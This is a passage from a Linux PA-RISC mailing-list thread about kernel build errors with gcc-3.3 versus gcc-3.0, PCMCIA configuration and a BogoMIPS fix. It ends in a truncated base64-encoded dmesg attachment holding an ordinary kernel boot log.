> make: *** [vmlinux] Error 1
>
> And the very same with gcc-3.0.4-16 {(which also backport canonicalize_*
> ?)}
>
> Any idea?

Yes, I enabled PCMCIA specific bits in arch/parisc/config.in. I wanted
to get a PCMCIA wireless network card working.
Currently hppa doesn't give you the option to select PCMCIA, so you have
to modify the config.in so that you can select it. Just copy the PCMCIA
bits it from arch/i386/config.in to arch/parisc/config.in.

OR simpler:

Disable wireless network (orinoco, hermes, orinoco_cs etc.).
I currently don't have a wireless card, and the same problems occurred
also without the driver for wireless card built-in.

> Now overall results:
> [the two test made exactely the same number of
> cc (grep "^gcc" blabla |
> wc -l == 968)]
>
> gcc-3.3
>
> start: k-2.4.20-pa35-cfg-gcc33:Tue Jun  3 18:22:57 CEST 2003
> end:   k-2.4.20-pa35-cfg-gcc33:Tue Jun  3 18:41:31 CEST 2003
> (About 19 min)
>
> gcc-3.0
> start: k-2.4.20-pa35-cfg-gcc30:Tue Jun  3 19:1
> :44 CEST 2003
> end:   k-2.4.20-pa35-cfg-gcc30:Tue Jun  3 19:30:46 CEST 2003
> (about 17 min)
>
> I am not enough happy because not yet reach to obtain a kernel; I will try
> tomorrow :(
>
> Cheers,
>     Joel
>
> PS: I run those draft test on a b2k running a
> kernel compile with gcc-3.3
> (32-bits) and the BogoMIPS in dmesg is 799.53 (about 2 * 400MHz of cpu).
> On the other hand I will made same test on a N (ucp) running a 64-bit kernel
> with BogoMIPS announced as 1097.72 (about 2 * 550 Mhz of cpu).

The BogoMIPS problem is solved: it only occurred with a gcc-3.3
Debian-prerelease. It's normal now with gcc-3.3_3.3-2.hppa.deb.

Attached my current dmesg and a dmesg of an older kernel with the
BogoMIPS-problem (latter also used a TokenRing card, but the card was not
connected to a TR swich/hub, therefore the "Ring Lobe failures")

Thanks, Max

---275789367-697751768-1054751628=:12360
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=dmesg
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0306041933480.12360@sal.ucc.ie>
Content-Description: dmesg of working -pa35 (gcc-3.3 final)
Content-Disposition: attachment; filename=dmesg

TWF5IDI2IDE2OjI1OjM5IGJlYXN0IHN5c2xvZ2QgMS40LjEjMTE6IHJlc3Rh
cnQuDQpNYXkgMjYgMTY6MjU6NDAgYmVhc3Qga2VybmVsOiBrbG9nZCAxLjQu
MSMxMSwgbG9nIHNvdXJjZSA9IC9wcm9jL2ttc2cgc3RhcnRlZC4NCk1heSAy
NiAxNjoyNTo0MCBiZWFzdCBrZXJuZWw6IEluc3BlY3RpbmcgL2Jvb3QvU3lz
dGVtLm1hcC0yLjQuMjAtcGEzNS1nY2MtMy4zDQpNYXkgMjYgMTY6MjU6NDEg
YmVhc3Qga2VybmVsOiBMb2FkZWQgMTc4MTggc3ltYm9scyBmcm9tIC9ib290
L1N5c3RlbS5tYXAtMi40LjIwLXBhMzUtZ2NjLTMuMy4NCk1heSAyNiAxNjoy
NTo0MSBiZWFzdCBrZXJuZWw6IFN5bWJvbHMgbWF0Y2gga2VybmVsIHZlcnNp
b24gMi40LjIwLg0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogTG9h
ZGVkIDM3IHN5bWJvbHMgZnJvbSAyIG1vZHVsZXMuDQpNYXkgMjYgMTY6MjU6
NDEgYmVhc3Qga2VybmVsOiBMaW51eCB2ZXJzaW9uIDIuNC4yMC1wYTM1LWdj
Yy0zLjMgKHJvb3RAYmVhc3QpIChnY2MgdmVyc2lvbiAzLjMgMjAwMzA1MDkg
KERlYmlhbiBwcmVyZWxlYXNlKSkgIzIgU3VuIE1heSAyNSAxNTozMjoyNiBJ
U1QgMjAwMw0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogRlBbMF0g
ZW5hYmxlZDogUmV2IDAgTW9kZWwgMTQNCk1heSAyNiAxNjoyNTo0MSBiZWFz
dCBrZXJuZWw6IFRoZSAzMi1iaXQgS2VybmVsIGhhcyBzdGFydGVkLi4uDQpN
YXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBEZXRlcm1pbmluZyBQREMg
ZmlybXdhcmUgdHlwZTogU3lzdGVtIE1hcC4NCk1heSAyNiAxNjoyNTo0MSBi
ZWFzdCBrZXJuZWw6IG1vZGVsIDAwMDA1OTkwIDAwMDAwNDgxIDAwMDAwMDAw
IDAwMDAwMDAyIDc3Zjc1NjMwIDEwMDAwMGYwIDAwMDAwMDA4IDAwMDAwMGIy
IDAwMDAwMGIyDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiB2ZXJz
ICAwMDAwMDUwMQ0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogQ1BV
SUQgdmVycyAxNCByZXYgMjMgKDB4MDAwMDAxZDcpDQpNYXkgMjYgMTY6MjU6
NDEgYmVhc3Qga2VybmVsOiBjYXBhYmlsaXRpZXMgMHgyDQpNYXkgMjYgMTY6
MjU6NDEgYmVhc3Qga2VybmVsOiBtb2RlbCA5MDAwLzc4Mi9DMjQwKw0KTWF5
IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogVG90YWwgTWVtb3J5OiAxMDI0
IE1iDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBwYWdldGFibGVf
aW5pdA0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogT24gbm9kZSAw
IHRvdGFscGFnZXM6IDI2MjE0NA0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtl
cm5lbDogem9uZSgwKTogMjYyMTQ0IHBhZ2VzLg0KTWF5IDI2IDE2OjI1OjQx
IGJlYXN0IGtlcm5lbDogem9uZSgxKTogMCBwYWdlcy4NCk1heSAyNiAxNjoy
NTo0MSBiZWFzdCBrZXJuZWw6IHpvbmUoMik6IDAgcGFnZXMuDQpNYXkgMjYg
MTY6MjU6NDEgYmVhc3Qga2VybmVsOiBMRUQgZGlzcGxheSBhdCBmMDE5MDAw
MSByZWdpc3RlcmVkDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBL
ZXJuZWwgY29tbWFuZCBsaW5lOiByb290PS9kZXYvc2RhNCBIT01FPS8gaXA9
b2ZmIGNvbnNvbGU9dHR5UzAgVEVSTT12dDEwMiBwYWxvX2tlcm5lbD0yL3Zt
bGludXgNCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IENvbnNvbGU6
IGNvbG91ciBkdW1teSBkZXZpY2UgMTYweDY0DQpNYXkgMjYgMTY6MjU6NDEg
YmVhc3Qga2VybmVsOiBDYWxpYnJhdGluZyBkZWxheSBsb29wLi4uIDQ3MC4y
MiBCb2dvTUlQUw0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogTWVt
b3J5OiAxMDMzMzEyayBhdmFpbGFibGUNCk1heSAyNiAxNjoyNTo0MSBiZWFz
dCBrZXJuZWw6IERlbnRyeSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDEz
MTA3MiAob3JkZXI6IDgsIDEwNDg1NzYgYnl0ZXMpDQpNYXkgMjYgMTY6MjU6
NDEgYmVhc3Qga2VybmVsOiBJbm9kZSBjYWNoZSBoYXNoIHRhYmxlIGVudHJp
ZXM6IDY1NTM2IChvcmRlcjogNywgNTI0Mjg4IGJ5dGVzKQ0KTWF5IDI2IDE2
OjI1OjQxIGJlYXN0IGtlcm5lbDogTW91bnQtY2FjaGUgaGFzaCB0YWJsZSBl
bnRyaWVzOiAxNjM4NCAob3JkZXI6IDUsIDEzMTA3MiBieXRlcykNCk1heSAy
NiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IEJ1ZmZlci1jYWNoZSBoYXNoIHRh
YmxlIGVudHJpZXM6IDY1NTM2IChvcmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQ0K
TWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogUGFnZS1jYWNoZSBoYXNo
IHRhYmxlIGVudHJpZXM6IDI2MjE0NCAob3JkZXI6IDgsIDEwNDg1NzYgYnl0
ZXMpDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBTZWFyY2hpbmcg
Zm9yIGRldmljZXMuLi4NCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6
IEZvdW5kIGRldmljZXM6DQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVs
OiAxLiBVMi1JT0EgQkMgUnVud2F5IFBvcnQgKDEyKSBhdCAweGZmZjg4MDAw
IFs4XSwgdmVyc2lvbnMgMHg1ODAsIDB4ZiwgMHhiDQpNYXkgMjYgMTY6MjU6
NDEgYmVhc3Qga2VybmVsOiAyLiBEaW5vIFBDSSBCcmlkZ2UgKDEzKSBhdCAw
eGYyMDAwMDAwIFs4LzBdLCB2ZXJzaW9ucyAweDY4MCwgMHgzLCAweGEsICBh
ZGRpdGlvbmFsIGFkZHJlc3NlczogMHhmMjgwMDAwMCANCk1heSAyNiAxNjoy
NTo0MSBiZWFzdCBrZXJuZWw6IDMuIFJhdmVuIFUvTDIgRGlubyBSUy0yMzIg
KDEwKSBhdCAweGYyMDAzMDAwIFs4LzAvNjNdLCB2ZXJzaW9ucyAweDYsIDB4
MCwgMHg4Yw0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogNC4gUmF2
ZW4gVS9MMiBEaW5vIFBTLzIgUG9ydCAoMTApIGF0IDB4ZjIwMDEwMDAgWzgv
MV0sIHZlcnNpb25zIDB4NiwgMHgwLCAweDk2DQpNYXkgMjYgMTY6MjU6NDEg
YmVhc3Qga2VybmVsOiA1LiBSYXZlbisgdyBTRSBGV1NDU0kgQ29yZSBCQSAo
MTEpIGF0IDB4ZmZkMDAwMDAgWzgvMTZdLCB2ZXJzaW9ucyAweDU2LCAweDAs
IDB4ODEsICBhZGRpdGlvbmFsIGFkZHJlc3NlczogMHhmZmQwYzAwMCAweGZm
YzAwMDAwIA0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogNi4gUmF2
ZW4rIHcgU0UgRldTQ1NJIENvcmUgQ2VudHJvbmljcyAoMTApIGF0IDB4ZmZk
MDIwMDAgWzgvMTYvMF0sIHZlcnNpb25zIDB4NTYsIDB4MCwgMHg3NCwgIGFk
ZGl0aW9uYWwgYWRkcmVzc2VzOiAweGZmZDAxMDAwIDB4ZmZkMDMwMDAgDQpN
YXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiA3LiBSYXZlbisgdyBTRSBG
V1NDU0kgQ29yZSBBdWRpbyAoMTApIGF0IDB4ZmZkMDQwMDAgWzgvMTYvMV0s
IHZlcnNpb25zIDB4NTYsIDB4NCwgMHg3Yg0KTWF5IDI2IDE2OjI1OjQxIGJl
YXN0IGtlcm5lbDogOC4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgUlMtMjMy
ICgxMCkgYXQgMHhmZmQwNTAwMCBbOC8xNi80XSwgdmVyc2lvbnMgMHg1Niwg
MHgwLCAweDhjDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiA5LiBS
YXZlbisgdyBTRSBGV1NDU0kgQ29yZSBTQ1NJICgxMCkgYXQgMHhmZmQwNjAw
MCBbOC8xNi81XSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAweDgyDQpNYXkgMjYg
MTY6MjU6NDEgYmVhc3Qga2VybmVsOiAxMC4gUmF2ZW4rIHcgU0UgRldTQ1NJ
IENvcmUgUFMvMiBQb3J0ICgxMCkgYXQgMHhmZmQwODAwMCBbOC8xNi83XSwg
dmVyc2lvbnMgMHg1NiwgMHgwLCAweDg0DQpNYXkgMjYgMTY6MjU6NDEgYmVh
c3Qga2VybmVsOiAxMS4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgUFMvMiBQ
b3J0ICgxMCkgYXQgMHhmZmQwODEwMCBbOC8xNi84XSwgdmVyc2lvbnMgMHg1
NiwgMHgwLCAweDg0DQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiAx
Mi4gVTItSU9BIEJDIEdTQysgUG9ydCAoNykgYXQgMHhmMjAzZjAwMCBbOC82
M10sIHZlcnNpb25zIDB4NTAxLCAweDEsIDB4Yw0KTWF5IDI2IDE2OjI1OjQx
IGJlYXN0IGtlcm5lbDogMTMuIFUyLUlPQSBCQyBSdW53YXkgUG9ydCAoMTIp
IGF0IDB4ZmZmOGEwMDAgWzEwXSwgdmVyc2lvbnMgMHg1ODAsIDB4ZiwgMHhi
DQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiAxNC4gQ3VqbyBQQ0kg
QnJpZGdlICgxMykgYXQgMHhmMTAwMDAwMCBbMTAvMF0sIHZlcnNpb25zIDB4
NjgyLCAweDEsIDB4YQ0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDog
MTUuIERpbm8gUlMtMjMyICgxMCkgYXQgMHhmMTAwMzAwMCBbMTAvM10sIHZl
cnNpb25zIDB4NywgMHgwLCAweDhjDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qg
a2VybmVsOiAxNi4gVTItSU9BIEJDIEdTQysgUG9ydCAoNykgYXQgMHhmMTAz
ZjAwMCBbMTAvNjNdLCB2ZXJzaW9ucyAweDUwMSwgMHgxLCAweGMNCk1heSAy
NiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IDE3LiBSYXZlbiBVIDI0MCAoOTAw
MC83ODAvQzI0MCkgKDApIGF0IDB4ZmZmYTAwMDAgWzMyXSwgdmVyc2lvbnMg
MHg1OTksIDB4MCwgMHg0DQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVs
OiAxOC4gTWVtb3J5ICgxKSBhdCAweGZmZmIxMDAwIFs0OV0sIHZlcnNpb25z
IDB4NmYsIDB4MCwgMHg5DQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVs
OiBDUFUocyk6IDEgeCBQQTgyMDAgKFBDWC1VKykgYXQgMjM2LjAwMDAwMCBN
SHoNCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IEZvdW5kIFUyIGF0
IDB4ZmZmODgwMDANCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IEZv
dW5kIFUyIGF0IDB4ZmZmOGEwMDANCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBr
ZXJuZWw6IExhc2kgdmVyc2lvbiAwIGF0IDB4ZmZkMDAwMDAgZm91bmQuDQpN
YXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBEaW5vIHZlcnNpb24gMy4x
IGZvdW5kIGF0IDB4ZjIwMDAwMDANCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBr
ZXJuZWw6IEN1am8gdmVyc2lvbiAyLjAgZm91bmQgYXQgMHhmMTAwMDAwMA0K
TWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogRW5hYmxpbmcgQ3VqbyAy
LjAgYnVnIHdvcmthcm91bmQNCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBrZXJu
ZWw6IERvbid0IHJlY29nbmlzZSBDdWpvIGF0IGFkZHJlc3MgMHhmMTAwMDAw
MCwgbm90IGVuYWJsaW5nIHdvcmthcm91bmQNCk1heSAyNiAxNjoyNTo0MSBi
ZWFzdCBrZXJuZWw6IEN1am86IE5vIFBDSSBkZXZpY2VzIGVuYWJsZWQuDQpN
YXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBQT1NJWCBjb25mb3JtYW5j
ZSB0ZXN0aW5nIGJ5IFVOSUZJWA0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtl
cm5lbDogTGludXggTkVUNC4wIGZvciBMaW51eCAyLjQNCk1heSAyNiAxNjoy
NTo0MSBiZWFzdCBrZXJuZWw6IEJhc2VkIHVwb24gU3dhbnNlYSBVbml2ZXJz
aXR5IENvbXB1dGVyIFNvY2lldHkgTkVUMy4wMzkNCk1heSAyNiAxNjoyNTo0
MSBiZWFzdCBrZXJuZWw6IEluaXRpYWxpemluZyBSVCBuZXRsaW5rIHNvY2tl
dA0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogU29mdCBwb3dlciBz
d2l0Y2ggZW5hYmxlZCwgcG9sbGluZyBAIDB4ZjAxNDAwMDAuDQpNYXkgMjYg
MTY6MjU6NDEgYmVhc3Qga2VybmVsOiBTdGFydGluZyBrc3dhcGQNCk1heSAy
NiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IFZGUzogRGlza3F1b3RhcyB2ZXJz
aW9uIGRxdW90XzYuNC4wIGluaXRpYWxpemVkDQpNYXkgMjYgMTY6MjU6NDEg
YmVhc3Qga2VybmVsOiBKb3VybmFsbGVkIEJsb2NrIERldmljZSBkcml2ZXIg
bG9hZGVkDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBwYXJwb3J0
X2luaXRfY2hpcDogaW5pdGlhbGl6ZSBiaWRpcmVjdGlvbmFsLW1vZGUuDQpN
YXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBwYXJwb3J0MDogUEMtc3R5
bGUgYXQgMHhmZmQwMjgwMCwgaXJxIDg4IFtQQ1NQUCxUUklTVEFURV0NCk1h
eSAyNiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IFNUSSBHU0MvUENJIGdyYXBo
aWNzIGRyaXZlciB2ZXJzaW9uIDAuOQ0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0
IGtlcm5lbDogcHR5OiAyNTYgVW5peDk4IHB0eXMgY29uZmlndXJlZA0KTWF5
IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogU2VyaWFsIGRyaXZlciB2ZXJz
aW9uIDUuMDVjICgyMDAxLTA3LTA4KSB3aXRoIE1BTllfUE9SVFMgU0hBUkVf
SVJRIFNFUklBTF9QQ0kgZW5hYmxlZA0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0
IGtlcm5lbDogdHR5UzAwIGF0IGlvbWVtIDB4ZmZkMDU4MDAgKGlycSA9IDkw
KSBpcyBhIDE2NTUwQQ0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDog
dHR5UzAxIGF0IGlvbWVtIDB4ZjIwMDM4MDAgKGlycSA9IDEwNikgaXMgYSAx
NjU1MEENCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IFBTLzIga2V5
Ym9hcmQgcG9ydCBhdCAweGZmZDA4MDAwIChpcnEgNjkpIGZvdW5kLCBubyBk
ZXZpY2UgYXR0YWNoZWQuDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVs
OiBQUy8yIHBzYXV4IHBvcnQgYXQgMHhmZmQwODEwMCAoaXJxIDY5KSBmb3Vu
ZCwgbm8gZGV2aWNlIGF0dGFjaGVkLg0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0
IGtlcm5lbDogbHAwOiB1c2luZyBwYXJwb3J0MCAoaW50ZXJydXB0LWRyaXZl
bikuDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBHZW5lcmljIFJU
QyBEcml2ZXIgdjEuMDcNCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6
IE5FVDQ6IEZyYW1lIERpdmVydGVyIDAuNDYNCk1heSAyNiAxNjoyNTo0MSBi
ZWFzdCBrZXJuZWw6IGxvb3A6IGxvYWRlZCAobWF4IDggZGV2aWNlcykNCk1h
eSAyNiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IExpbnV4IFR1bGlwIGRyaXZl
ciB2ZXJzaW9uIDAuOS4xNS1wcmUxMiAoQXVnIDksIDIwMDIpDQpNYXkgMjYg
MTY6MjU6NDEgYmVhc3Qga2VybmVsOiB0dWxpcDA6IG5vIHBoeSBpbmZvLCBh
Ym9ydGluZyBtdGFibGUgYnVpbGQNCk1heSAyNiAxNjoyNTo0MSBiZWFzdCBr
ZXJuZWw6IHR1bGlwMDogIE1JSSB0cmFuc2NlaXZlciAjMSBjb25maWcgMTAw
MCBzdGF0dXMgNzgyZCBhZHZlcnRpc2luZyAwMWUxLg0KTWF5IDI2IDE2OjI1
OjQxIGJlYXN0IGtlcm5lbDogZXRoMDogRGlnaXRhbCBEUzIxMTQzIFR1bGlw
IHJldiA0OCBhdCAweGYyZmZmMDAwLCAwMDoxMDo4MzowMzoyQzoxQywgSVJR
IDk2Lg0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogUFBQIGdlbmVy
aWMgZHJpdmVyIHZlcnNpb24gMi40LjINCk1heSAyNiAxNjoyNTo0MSBiZWFz
dCBrZXJuZWw6IFBQUCBEZWZsYXRlIENvbXByZXNzaW9uIG1vZHVsZSByZWdp
c3RlcmVkDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBQUFAgQlNE
IENvbXByZXNzaW9uIG1vZHVsZSByZWdpc3RlcmVkDQpNYXkgMjYgMTY6MjU6
NDEgYmVhc3Qga2VybmVsOiBVbml2ZXJzYWwgVFVOL1RBUCBkZXZpY2UgZHJp
dmVyIDEuNSAoQykxOTk5LTIwMDIgTWF4aW0gS3Jhc255YW5za3kNCk1heSAy
NiAxNjoyNTo0MSBiZWFzdCBrZXJuZWw6IFNDU0kgc3Vic3lzdGVtIGRyaXZl
ciBSZXZpc2lvbjogMS4wMA0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5l
bDogc3ltNTNjOHh4OiBhdCBQQ0kgYnVzIDAsIGRldmljZSAxOSwgZnVuY3Rp
b24gMA0KTWF5IDI2IDE2OjI1OjQxIGJlYXN0IGtlcm5lbDogc3ltNTNjOHh4
OiA1M2M4NzUgZGV0ZWN0ZWQgDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2Vy
bmVsOiBzeW01M2M4NzUtMDogcmV2IDB4NCBvbiBwY2kgYnVzIDAgZGV2aWNl
IDE5IGZ1bmN0aW9uIDAgaXJxIDk5DQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qg
a2VybmVsOiBzeW01M2M4NzUtMDogSUQgNywgRmFzdC0yMCwgUGFyaXR5IENo
ZWNraW5nDQpNYXkgMjYgMTY6MjU6NDEgYmVhc3Qga2VybmVsOiBzY3NpMCA6
IHN5bTUzYzh4eC0xLjcuM2MtMjAwMTA1MTINCk1heSAyNiAxNjoyNTo0MSBi
ZWFzdCBrZXJuZWw6IGJsazogcXVldWUgMTBlZmM3OTQsIEkvTyBsaW1pdCA0
MDk1TWIgKG1hc2sgMHhmZmZmZmZmZikNCk1heSAyNiAxNjoyNTo0MiBiZWFz
dCBrZXJuZWw6IDUzYzcwMDogVmVyc2lvbiAyLjcgQnkgSmFtZXMuQm90dG9t
bGV5QEhhbnNlblBhcnRuZXJzaGlwLmNvbQ0KTWF5IDI2IDE2OjI1OjQyIGJl
YXN0IGtlcm5lbDogc2NzaTE6IDUzYzcxMCByZXYgMiANCk1heSAyNiAxNjoy
NTo0MiBiZWFzdCBrZXJuZWw6IHNjc2kxIDogTEFTSSBTQ1NJIDUzYzcwMA0K
TWF5IDI2IDE2OjI1OjQyIGJlYXN0IGtlcm5lbDogc2NzaTE6ICg2OjApIFN5
bmNocm9ub3VzIGF0IG9mZnNldCA4LCBwZXJpb2QgMTAwbnMNCk1heSAyNiAx
NjoyNTo0MiBiZWFzdCBrZXJuZWw6ICAgVmVuZG9yOiBTRUFHQVRFICAgTW9k
ZWw6IFNUMzE4NDE2TiAgICAgICAgIFJldjogMDAxMA0KTWF5IDI2IDE2OjI1
OjQyIGJlYXN0IGtlcm5lbDogICBUeXBlOiAgIERpcmVjdC1BY2Nlc3MgICAg
ICAgICAgICAgICAgICAgICAgQU5TSSBTQ1NJIHJldmlzaW9uOiAwMw0KTWF5
IDI2IDE2OjI1OjQyIGJlYXN0IGtlcm5lbDogc2NzaTE6ICg2OjEpIFN5bmNo
cm9ub3VzIGF0IG9mZnNldCA4LCBwZXJpb2QgMTAwbnMNCk1heSAyNiAxNjoy
NTo0MiBiZWFzdCBrZXJuZWw6IEF0dGFjaGVkIHNjc2kgZGlzayBzZGEgYXQg
c2NzaTEsIGNoYW5uZWwgMCwgaWQgNiwgbHVuIDANCk1heSAyNiAxNjoyNTo0
MiBiZWFzdCBrZXJuZWw6IHNjc2kxOiAoNjowKSBFbmFibGluZyBUYWcgQ29t
bWFuZCBRdWV1aW5nDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qga2VybmVsOiBT
Q1NJIGRldmljZSBzZGE6IDM1ODg1MTY4IDUxMi1ieXRlIGhkd3Igc2VjdG9y
cyAoMTgzNzMgTUIpDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qga2VybmVsOiBQ
YXJ0aXRpb24gY2hlY2s6DQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qga2VybmVs
OiAgc2RhOiBzZGExIHNkYTIgc2RhMyBzZGE0DQpNYXkgMjYgMTY6MjU6NDIg
YmVhc3Qga2VybmVsOiBMaW51eCBLZXJuZWwgQ2FyZCBTZXJ2aWNlcyAzLjEu
MjINCk1heSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6ICAgb3B0aW9uczog
IFtwY2ldDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qga2VybmVsOiBTVEkgR1ND
L1BDSSBncmFwaGljcyBkcml2ZXIgdmVyc2lvbiAwLjkNCk1heSAyNiAxNjoy
NTo0MiBiZWFzdCBrZXJuZWw6IEJVRzogU2tpcHBpbmcgcHJldmlvdXNseSBy
ZWdpc3RlcmVkIGRyaXZlcjogc3RpIChuYXRpdmUpDQpNYXkgMjYgMTY6MjU6
NDIgYmVhc3Qga2VybmVsOiB1c2IuYzogcmVnaXN0ZXJlZCBuZXcgZHJpdmVy
IHVzYmRldmZzDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qga2VybmVsOiB1c2Iu
YzogcmVnaXN0ZXJlZCBuZXcgZHJpdmVyIGh1Yg0KTWF5IDI2IDE2OjI1OjQy
IGJlYXN0IGtlcm5lbDogdXNiLW9oY2kuYzogVVNCIE9IQ0kgYXQgbWVtYmFz
ZSAweGYyZmY5MDAwLCBJUlEgOTYNCk1heSAyNiAxNjoyNTo0MiBiZWFzdCBr
ZXJuZWw6IHVzYi1vaGNpLmM6IHVzYi0wMDowMy4wLCBBY2VyIExhYm9yYXRv
cmllcyBJbmMuIFtBTGldIFVTQiAxLjEgQ29udHJvbGxlcg0KTWF5IDI2IDE2
OjI1OjQyIGJlYXN0IGtlcm5lbDogdXNiLmM6IG5ldyBVU0IgYnVzIHJlZ2lz
dGVyZWQsIGFzc2lnbmVkIGJ1cyBudW1iZXIgMQ0KTWF5IDI2IDE2OjI1OjQy
IGJlYXN0IGtlcm5lbDogaHViLmM6IFVTQiBodWIgZm91bmQNCk1heSAyNiAx
NjoyNTo0MiBiZWFzdCBrZXJuZWw6IGh1Yi5jOiAyIHBvcnRzIGRldGVjdGVk
DQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qga2VybmVsOiB1c2Itb2hjaS5jOiBV
U0IgT0hDSSBhdCBtZW1iYXNlIDB4ZjJmZmEwMDAsIElSUSA5Nw0KTWF5IDI2
IDE2OjI1OjQyIGJlYXN0IGtlcm5lbDogdXNiLW9oY2kuYzogdXNiLTAwOjAz
LjEsIEFjZXIgTGFib3JhdG9yaWVzIEluYy4gW0FMaV0gVVNCIDEuMSBDb250
cm9sbGVyICgjMikNCk1heSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6IHVz
Yi5jOiBuZXcgVVNCIGJ1cyByZWdpc3RlcmVkLCBhc3NpZ25lZCBidXMgbnVt
YmVyIDINCk1heSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6IGh1Yi5jOiBV
U0IgaHViIGZvdW5kDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qga2VybmVsOiBo
dWIuYzogMiBwb3J0cyBkZXRlY3RlZA0KTWF5IDI2IDE2OjI1OjQyIGJlYXN0
IGtlcm5lbDogdXNiLW9oY2kuYzogVVNCIE9IQ0kgYXQgbWVtYmFzZSAweGYy
ZmZiMDAwLCBJUlEgOTgNCk1heSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6
IHVzYi1vaGNpLmM6IHVzYi0wMDowMy4yLCBBY2VyIExhYm9yYXRvcmllcyBJ
bmMuIFtBTGldIFVTQiAxLjEgQ29udHJvbGxlciAoIzMpDQpNYXkgMjYgMTY6
MjU6NDIgYmVhc3Qga2VybmVsOiB1c2IuYzogbmV3IFVTQiBidXMgcmVnaXN0
ZXJlZCwgYXNzaWduZWQgYnVzIG51bWJlciAzDQpNYXkgMjYgMTY6MjU6NDIg
YmVhc3Qga2VybmVsOiBodWIuYzogVVNCIGh1YiBmb3VuZA0KTWF5IDI2IDE2
OjI1OjQyIGJlYXN0IGtlcm5lbDogaHViLmM6IDIgcG9ydHMgZGV0ZWN0ZWQN
Ck1heSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6IE5FVDQ6IExpbnV4IFRD
UC9JUCAxLjAgZm9yIE5FVDQuMA0KTWF5IDI2IDE2OjI1OjQyIGJlYXN0IGtl
cm5lbDogSVAgUHJvdG9jb2xzOiBJQ01QLCBVRFAsIFRDUCwgSUdNUA0KTWF5
IDI2IDE2OjI1OjQyIGJlYXN0IGtlcm5lbDogSVA6IHJvdXRpbmcgY2FjaGUg
